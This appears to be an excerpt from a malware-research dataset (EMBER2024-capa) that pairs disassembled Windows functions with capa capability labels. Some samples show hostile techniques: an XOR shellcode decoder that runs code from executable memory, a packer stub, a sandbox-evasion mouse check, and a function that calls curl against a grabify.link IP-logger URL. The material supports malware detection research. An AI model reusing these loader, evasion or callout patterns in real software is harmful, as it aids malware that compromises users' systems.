joyce8/EMBER2024-capa huggingface dataset:
Function at 0x29826d7d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x428
mov eax, 0x29854690
call fcn.2985114e
mov edx, dword [ebp + 0xc]
xor ebx, ebx
mov eax, dword [ebp + 8]
mov esi, ebx
mov dword [ebp - 0x42c], edx
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x428], edx
mov dword [ebp - 0x424], esi
mov dword [ebp - 4], ebx
mov dword [ebp - 0x430], ecx
mov dword [ebp - 0x434], ebx
mov dword [ebp - 0x418], ebx
mov byte [ebp - 4], 1
test eax, eax
je 0x29826f9e
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
inc eax
push 2
push eax
mov dword [ebp - 0x420], eax
lea eax, [ebp - 0x420]
push eax
call fcn.298146b3
add esp, 0x10
test eax, eax
js 0x29826f98
mov edi, dword [ebp - 0x420]
cmp edi, 0x400
jg 0x29826e21
push edi
call fcn.29827ddd
pop ecx
test al, al
je 0x29826e21
mov eax, edi
call fcn.29851670
mov dword [ebp - 0x10], esp
mov eax, esp
jmp 0x29826e33
push edi
lea ecx, [ebp - 0x424]
call fcn.298146b3
mov esi, dword [ebp - 0x424]
push 3
push edi
push dword [ebp - 0x41c]
push eax
call fcn.298146b3
mov dword [ebp - 0x41c], eax
test eax, eax
je 0x29826f98
push 0x60
push ebx
push eax
call fcn.29828150
mov edi, eax
mov dword [ebp - 0x420], edi
test edi, edi
jne 0x29826e8b
push 2
push ebx
push dword [ebp - 0x41c]
call fcn.29828150
mov edi, eax
mov dword [ebp - 0x420], eax
test edi, edi
jne 0x29826e8b
call fcn.29825061
mov ebx, eax
jmp 0x29826f67
push dword [ebp - 0x428]
push dword [ebp - 0x42c]
push edi
call dword [sym.imp.kernel32.dll_FindResourceA]
mov dword [ebp - 0x42c], eax
test eax, eax
jne 0x29826eb2
call fcn.29825061
jmp 0x29826f5a
push eax
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x428], eax
test eax, eax
je 0x29826ea8
push dword [ebp - 0x42c]
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov dword [ebp - 0x41c], eax
lea ecx, [eax + 1]
cmp ecx, eax
jae 0x29826ee5
mov ebx, 0x8007000e
jmp 0x29826f5c
push ecx
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.298146b3
jmp 0x29826f0b
cmp dword [ebp - 0x418], 0
mov dword [ebp - 4], 1
je 0x29826ede
mov eax, dword [ebp - 0x41c]
push eax
push dword [ebp - 0x428]
push eax
push dword [ebp - 0x418]
call fcn.298146b3
mov eax, dword [ebp - 0x418]
add esp, 0x10
mov ecx, dword [ebp - 0x41c]
push dword [ebp + 0x14]
mov byte [eax + ecx], bl
lea ecx, [ebp - 0x434]
push dword [ebp - 0x418]
call fcn.298146b3
mov ebx, eax
test edi, edi
je 0x29826f67
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x29826f80
lea ecx, [ebp - 0x418]
call fcn.29825bb4
or dword [ebp - 4], 0xffffffff
jmp 0x29826f90
push esi
mov esi, dword [esi]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
test esi, esi
jne 0x29826f86
mov eax, ebx
jmp 0x29826fcc
mov ebx, dword [ebp - 0x418]
lea eax, [ebp - 0x414]
cmp ebx, eax
je 0x29826fb3
lea ecx, [ebp - 0x418]
call fcn.29825bb4
or dword [ebp - 4], 0xffffffff
jmp 0x29826fc3
push esi
mov esi, dword [esi]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
test esi, esi
jne 0x29826fb9
mov eax, 0x8007000e
lea esp, [ebp - 0x444]
call fcn.29851106
ret 0x10
Function at 0x402a70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x402a7f
pop dword [ebp - 0x34]
mov eax, 0x402a7f
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xc02696cf
sub dword [ebp - 0x44], 0x71d45184
mov dword [ebp - 0x40], 0x88a49b8d
sub dword [ebp - 0x40], 0x56714f48
mov dword [ebp - 0x3c], 0xff1e9dfe
sub dword [ebp - 0x3c], 0xb2d259d0
mov dword [ebp - 0x38], 0x1b247edc
sub dword [ebp - 0x38], 0x1b247edc
lea eax, [ebp - 0x44]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x6a7d8053
sub dword [ebp - 0x44], 0xf60b16fd
mov dword [ebp - 0x40], 0xf5387621
add dword [ebp - 0x40], 0x4c33eb54
mov dword [ebp - 0x3c], 0x1e1e7c0c
add dword [ebp - 0x3c], 0x4550f060
mov dword [ebp - 0x38], 0x8f7229c1
sub dword [ebp - 0x38], 0x8f7229c1
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x386aa
push 0
call eax
mov ecx, 0x3eb5
mov ebx, eax
mov esi, 0xd06c8eb9
add esi, 0x2fd53147
add esi, dword [ebp - 0x34]
mov edx, 0xf1cbedc8
sub dword [ebp - 0x1c], 0x457149b9
mov edi, dword [esi]
mov dword [ebp - 0x30], 0x52b09fdf
xor edi, edx
xor dword [ebp - 0xc], 0xb6f99cb
mov dword [ebx], edi
add dword [ebp - 0x2c], 0xe96feb36
add ebx, 0x49ab33de
sub ebx, 0x49ab33da
add esi, 0x94a5802d
sub esi, 0x94a58029
loop 0x402b86
add eax, 0x13c41a69
sub eax, 0x13c32cc2
xor ebx, ebx
add ebx, eax
add eax, 0x7b50d11d
add eax, 0x84af2ee8
mov ecx, 0x1c287b31
sub ecx, 0x1be87b31
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x401340
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4036ed
push eax
mov dword fs:[0], esp
push esi
mov esi, dword [esp + 0x14]
mov dword [esp + 0xc], 3
mov eax, dword [esi + 0x70]
test eax, eax
mov dword [esi + 0x6c], 0x404b28
je 0x401379
push eax
call sub.MFC71.DLL_operator_delete
add esp, 4
lea ecx, [esi + 0x58]
call fcn.00402c7a
lea ecx, [esi + 0x44]
mov byte [esp + 0xc], 2
call fcn.00402c7a
lea ecx, [esi + 0x30]
mov byte [esp + 0xc], 1
call fcn.00402c7a
lea ecx, [esi + 0x1c]
mov byte [esp + 0xc], 0
call fcn.00402c7a
lea ecx, [esi + 0xc]
call dword [0x4040e4]
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
pop esi
add esp, 0xc
ret 4

Function at 0x401e40
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x403843
push eax
mov dword fs:[0], esp
push ebx
push esi
mov esi, dword [esp + 0x18]
lea ebx, [esi + 0xc]
push edi
mov ecx, ebx
call dword [sym.imp.MFC71.DLL_ATL::CStringT::CStringT_1]
xor edi, edi
lea ecx, [esi + 0x1c]
mov dword [esp + 0x14], edi
call sub.MFC71.DLL_CStringArray::CStringArray
lea ecx, [esi + 0x30]
mov byte [esp + 0x14], 1
call sub.MFC71.DLL_CStringArray::CStringArray
lea ecx, [esi + 0x44]
mov byte [esp + 0x14], 2
call sub.MFC71.DLL_CStringArray::CStringArray
lea ecx, [esi + 0x58]
mov byte [esp + 0x14], 3
call sub.MFC71.DLL_CStringArray::CStringArray
mov dword [esi + 0x6c], 0x404b28
mov dword [esi + 0x70], edi
mov dword [esi + 0x7c], edi
mov dword [esi + 0x78], edi
mov dword [esi + 0x74], edi
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x24]
mov byte [esp + 0x14], 5
mov dword [esi + 4], ecx
push 0x4049c0
mov ecx, ebx
mov dword [esi], eax
call dword [0x404244]
mov ecx, dword [esp + 0xc]
mov dword [esi + 0x18], edi
mov dword [esi + 0x14], edi
mov dword [esi + 0x10], edi
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0xc
ret 0xc
Function at 0x402810
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x403649
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x6c
mov eax, dword [esi + 4]
push ebx
push edi
push 0
push 2
push 0x8003
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
mov eax, dword [esi + 0x4c]
xor edi, edi
test eax, eax
mov dword [esp + 0x10], edi
jle 0x4029e4
mov ecx, dword [esi]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x40286e
test eax, eax
je 0x4029fa
test edi, edi
jl 0x402a28
cmp edi, dword [esi + 0x74]
jge 0x402a28
mov eax, dword [esi + 0x70]
lea ebx, [edi*4]
mov ecx, dword [eax + ebx]
add eax, ebx
test ecx, ecx
jle 0x4029d4
xor edx, edx
xor eax, eax
mov dword [esp + 0x18], edx
mov ecx, 0x11
lea edi, [esp + 0x28]
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x10]
cmp edi, dword [esi + 0x60]
mov dword [esp + 0x1c], edx
mov dword [esp + 0x20], edx
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], 0x44
jge 0x402a28
mov eax, dword [esi + 0x5c]
add eax, ebx
mov eax, dword [eax]
mov ecx, dword [eax - 0xc]
test ecx, ecx
mov eax, dword [esi + 0x4c]
jne 0x402912
cmp edi, eax
jge 0x402a28
mov ecx, dword [esi + 0x48]
mov ebx, dword [ebx + ecx]
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x2c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x4049c0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edi, eax
jmp 0x4029b8
cmp edi, eax
jge 0x402a28
mov eax, dword [esi + 0x48]
add eax, ebx
push eax
lea ecx, [esp + 0x10]
call dword [sym.imp.MFC71.DLL_ATL::CStringT::CStringT_2]
push str.__v_PIDKEY
lea ecx, [esp + 0x10]
mov dword [esp + 0x80], 0
call dword [sym.imp.MFC71.DLL_ATL::CStringT::operator]
cmp edi, dword [esi + 0x60]
jge 0x402a28
mov eax, dword [esi + 0x5c]
add eax, ebx
push eax
lea ecx, [esp + 0x10]
call dword [sym.imp.MFC71.DLL_ATL::CStringT::operator_1]
push str._LICENSE_MODELFull
lea ecx, [esp + 0x10]
call dword [sym.imp.MFC71.DLL_ATL::CStringT::operator]
push 0x404c20
lea ecx, [esp + 0x10]
call dword [sym.imp.MFC71.DLL_ATL::CStringT::operator]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x2c]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x2c]
call dword [sym.imp.MFC71.DLL_ATL::CSimpleStringT::GetBuffer_1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
lea ecx, [esp + 0xc]
mov edi, eax
mov dword [esp + 0x7c], 0xffffffff
call dword [0x4040e4]
test edi, edi
je 0x4029d0
mov eax, dword [esi + 0x10]
test eax, eax
jne 0x402a11
mov eax, dword [esp + 0x18]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [esp + 0x10]
mov eax, dword [esi + 0x4c]
inc edi
cmp edi, eax
mov dword [esp + 0x10], edi
jl 0x402854
mov ecx, dword [esp + 0x74]
pop edi
mov eax, 1
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
push 0x404e34
lea ecx, [esp + 0x14]
push ecx
mov dword [esp + 0x18], 2
call sub.MSVCR71.dll__CxxThrowException
push 0x404e34
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], 3
call sub.MSVCR71.dll__CxxThrowException
jmp sub.MFC71.DLL_AfxThrowInvalidArgException
Function at 0x407442
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x4128e8
call fcn.00407900
push 1
call fcn.00406ff5
pop ecx
test al, al
je 0x40742c
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.00406fc1
mov byte [ebp - 0x24], al
mov eax, dword [0x4157bc]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x40742c
test eax, eax
jne 0x407350
mov dword [0x4157bc], ecx
push 0x401028
push 0x401010
call fcn.0040b653
pop ecx
pop ecx
test eax, eax
je 0x407333
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x40741c
push 0x40100c
push section..text
call fcn.0040b5f7
pop ecx
pop ecx
mov dword [0x4157bc], 2
jmp 0x407355
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.0040715e
pop ecx
call fcn.00407a5e
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x407386
push esi
call fcn.004070ca
pop ecx
test al, al
je 0x407386
mov esi, dword [esi]
push edi
push 2
push edi
mov ecx, esi
call dword [0x417148]
call esi
call fcn.00407a64
mov esi, eax
cmp dword [esi], edi
je 0x4073a4
push esi
call fcn.004070ca
pop ecx
test al, al
je 0x4073a4
push dword [esi]
call fcn.0040aa56
pop ecx
call fcn.0040782f
movzx esi, ax
call fcn.0040b5b1
push esi
push eax
push edi
push 0x400000
call main
mov esi, eax
call fcn.00407868
test al, al
je 0x407433
test bl, bl
jne 0x4073d2
call fcn.0040aa31
push edi
push 1
call fcn.0040717b
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x40741c
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
push 7
call fcn.00407715
push esi
call fcn.0040aa8e
push dword [ebp - 0x20]
call fcn.0040aa40
int3
call fcn.00412c54
jmp 0x4072c6
Function at 0x413a22
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
dec eax
sub esp, 0x68
dec esp
mov dword [esp + 0x58], eax
dec eax
mov dword [esp + 0x50], edx
dec eax
mov dword [esp + 0x48], ecx
dec eax
mov eax, dword [esp + 0x48]
dec eax
mov dword [esp + 0x40], eax
dec eax
mov eax, dword [esp + 0x40]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x413a60
dec eax
mov dword [esp + 0x60], 0
jmp 0x413b4f
dec eax
mov eax, dword [esp + 0x48]
dec eax
mov ecx, dword [esp + 0x40]
dec eax
arpl word [ecx + 0x3c], cx
dec eax
add eax, ecx
dec eax
mov dword [esp + 0x38], eax
dec eax
mov eax, dword [esp + 0x38]
cmp dword [eax], 0x4550
je 0x413a95
dec eax
mov dword [esp + 0x60], 0
jmp 0x413b4f
dec eax
mov eax, dword [esp + 0x38]
dec eax
add eax, 0x18
dec eax
mov ecx, dword [esp + 0x38]
movzx ecx, word [ecx + 0x14]
dec eax
add eax, ecx
dec eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x2c], 0
mov eax, dword [esp + 0x2c]
dec eax
mov ecx, dword [esp + 0x38]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x413b46
dec eax
mov edx, dword [esp + 0x30]
dec eax
arpl word [esp + 0x2c], ax
dec eax
imul eax, eax, 0x28
dec eax
add edx, eax
dec eax
mov ecx, dword [esp + 0x58]
call fcn.00413b59
cmp eax, 0
jne 0x413b31
dec eax
mov eax, dword [esp + 0x30]
dec eax
arpl word [esp + 0x2c], cx
dec eax
imul ecx, ecx, 0x28
dec eax
add eax, ecx
mov ecx, dword [eax + 8]
dec eax
mov eax, dword [esp + 0x50]
mov dword [eax], ecx
dec eax
mov eax, dword [esp + 0x48]
dec eax
mov ecx, dword [esp + 0x30]
dec eax
arpl word [esp + 0x2c], dx
dec eax
imul edx, edx, 0x28
dec eax
add ecx, edx
mov ecx, dword [ecx + 0xc]
dec eax
add eax, ecx
dec eax
mov dword [esp + 0x60], eax
jmp 0x413b4f
jmp 0x413b36
mov eax, dword [esp + 0x2c]
add eax, 1
mov dword [esp + 0x2c], eax
jmp 0x413ab7
dec eax
mov dword [esp + 0x60], 0
dec eax
mov eax, dword [esp + 0x60]
dec eax
add esp, 0x68
ret
Function at 0x5f815d02
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov eax, ecx
mov ebx, edx
mov ecx, dword [ebp + 0xc]
push esi
push edi
xor edi, edi
mov dword [ebp - 4], eax
mov dword [ecx], edi
mov ecx, dword [ebp + 0x10]
push ebx
push eax
mov dword [ecx], edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x5f815d5f
call fcn.5f814d33
mov esi, eax
mov ecx, dword [0x5f831160]
cmp ecx, 0x5f831160
je 0x5f815d58
test byte [ecx + 0x1c], 1
je 0x5f815d58
push esi
push dword [ecx + 0x14]
push dword [ecx + 0x10]
push 0x11
mov edx, 0x5f80885c
pop ecx
call fcn.5f80a336
mov eax, esi
jmp 0x5f815e73
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x5f815d92
call fcn.5f814d33
mov esi, eax
mov ecx, dword [0x5f831160]
cmp ecx, 0x5f831160
je 0x5f815d58
test byte [ecx + 0x1c], 1
je 0x5f815d58
push esi
push dword [ecx + 0x14]
push dword [ecx + 0x10]
push 0x12
jmp 0x5f815d4d
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
jne 0x5f815dc6
call fcn.5f814d33
mov esi, eax
mov ecx, dword [0x5f831160]
cmp ecx, 0x5f831160
je 0x5f815d58
test byte [ecx + 0x1c], 1
je 0x5f815d58
push esi
push dword [ecx + 0x14]
push dword [ecx + 0x10]
push 0x13
jmp 0x5f815d4d
lea ecx, [eax + esi]
cmp esi, ecx
jbe 0x5f815df0
mov eax, dword [0x5f831160]
cmp eax, 0x5f831160
je 0x5f815e5d
test byte [eax + 0x1c], 1
je 0x5f815e5d
push dword [ebp + 8]
push dword [eax + 0x14]
push dword [eax + 0x10]
push 0x14
jmp 0x5f815e52
mov edx, dword [ebp + 8]
and edx, 0xf
jbe 0x5f815e0a
cmp esi, ecx
jae 0x5f815e0e
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
inc edi
cmp edi, edx
jb 0x5f815df8
cmp esi, ecx
jb 0x5f815e2d
mov eax, dword [0x5f831160]
cmp eax, 0x5f831160
je 0x5f815e5d
test byte [eax + 0x1c], 1
je 0x5f815e5d
push dword [ebp + 8]
push dword [eax + 0x14]
push dword [eax + 0x10]
push 0x15
jmp 0x5f815e52
movzx eax, word [esi]
test ax, ax
jne 0x5f815e64
mov eax, dword [0x5f831160]
cmp eax, 0x5f831160
je 0x5f815e5d
test byte [eax + 0x1c], 2
je 0x5f815e5d
push dword [ebp + 8]
push dword [eax + 0x14]
push dword [eax + 0x10]
push 0x16
mov edx, 0x5f80885c
pop ecx
call fcn.5f80a336
mov eax, 0x80070714
jmp 0x5f815e73
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
lea eax, [esi + 2]
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x5f81673d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.5f816438
invalid
Function at 0x1000655b
Capabilities:
Check for unmoving mouse cursor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
mov edi, dword [ebp + 8]
lea esi, [edi - 0x6c]
mov ecx, esi
call fcn.100030ca
test eax, eax
jne 0x1000657b
mov eax, 0x80070005
jmp 0x100065ec
push esi
mov ecx, esi
call fcn.100030ca
test eax, eax
js 0x100065ea
cmp dword [edi + 0x44], 0
je 0x100065ea
and dword [ebp + 8], 0
lea eax, [ebp - 0x10]
mov esi, dword [sym.imp.USER32.dll_GetCursorPos]
push eax
call esi
lea eax, [ebp - 8]
push eax
call esi
push 0x14
pop ecx
call fcn.100099b8
test eax, eax
je 0x100065c7
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
and dword [eax + 8], 0
mov dword [eax], vtable.CNameShowContactCardJob.0
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], edx
jmp 0x100065c9
xor eax, eax
push eax
lea ecx, [ebp + 8]
call fcn.100030ca
mov esi, dword [ebp + 8]
test esi, esi
je 0x100065ea
mov ecx, dword [edi + 0x44]
push esi
call fcn.100030ca
test eax, eax
mov eax, dword [esi]
push esi
call dword [eax + 8]
xor eax, eax
pop edi
pop esi
leave
ret 4

Function at 0x1000a002
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x10
mov eax, 0x1000bfd5
call fcn.1000be6e
mov ebx, ecx
lea eax, [ebp - 0x14]
xor ecx, ecx
push eax
push 0x20019
push ecx
push 0x1000e1a8
mov dword [ebp - 4], ecx
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push SysReAllocString
mov dword [ebp - 0x14], ecx
call edi
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x1000a0aa
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 1
and dword [ebp - 0x10], 0
push eax
push 0x20019
push 0
push ebx
push dword [ebp - 0x14]
call edi
push 4
pop ebx
test eax, eax
jne 0x1000a09c
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], ebx
push eax
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
push str.InsecureQI
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1000a09c
cmp dword [ebp - 0x18], ebx
jne 0x1000a09c
mov edi, dword [ebp - 0x1c]
cmp edi, 3
ja 0x1000a09c
mov byte [ebp - 4], 2
cmp dword [ebp - 0x10], eax
je 0x1000a0ac
push dword [ebp - 0x10]
call esi
jmp 0x1000a0ac
mov byte [ebp - 4], bl
cmp dword [ebp - 0x10], 0
je 0x1000a0aa
push dword [ebp - 0x10]
call esi
xor edi, edi
mov dword [ebp - 4], 5
cmp dword [ebp - 0x14], 0
je 0x1000a0be
push dword [ebp - 0x14]
call esi
mov eax, edi
call fcn.1000be4c
ret
Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403d6a
sub eax, 0x403d10
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
popal
nop
nop
nop
nop
nop
jmp fcn.00401219

Function at 0x401160
Capabilities:
Create process on windows
Create process suspended
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.00401000
test al, al
jne 0x401265
call fcn.004010b0
test al, al
jne 0x401265
push ebx
push esi
push 0
push 0
push 0xffffffffffffffff
push str.curl_https:__grabify.link_75ICYA
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor ecx, ecx
mov esi, eax
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004012c0
add esp, 4
mov ebx, eax
push esi
push ebx
push 0xffffffffffffffff
push str.curl_https:__grabify.link_75ICYA
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x58]
mov dword [ebp - 0x48], 0x44
push eax
lea eax, [ebp - 0x48]
xorps xmm0, xmm0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
push 0
movlpd qword [ebp - 0x44], xmm0
movlpd qword [ebp - 0x3c], xmm0
movlpd qword [ebp - 0x34], xmm0
movlpd qword [ebp - 0x2c], xmm0
movlpd qword [ebp - 0x24], xmm0
movlpd qword [ebp - 0x1c], xmm0
movlpd qword [ebp - 0x14], xmm0
movlpd qword [ebp - 0xc], xmm0
movups xmmword [ebp - 0x58], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x401243
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004012b2
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x58]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x54]
call esi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004012b2
mov esp, ebp
pop ebp
ret
push str.calc.exe
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
xor eax, eax
call fcn.004012b2
mov esp, ebp
pop ebp
ret

Function at 0x401af0
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401b2f
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401b2f
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401b2f
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401b2f
cmp dword [ecx + 0x74], 0xe
jbe 0x401b2f
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret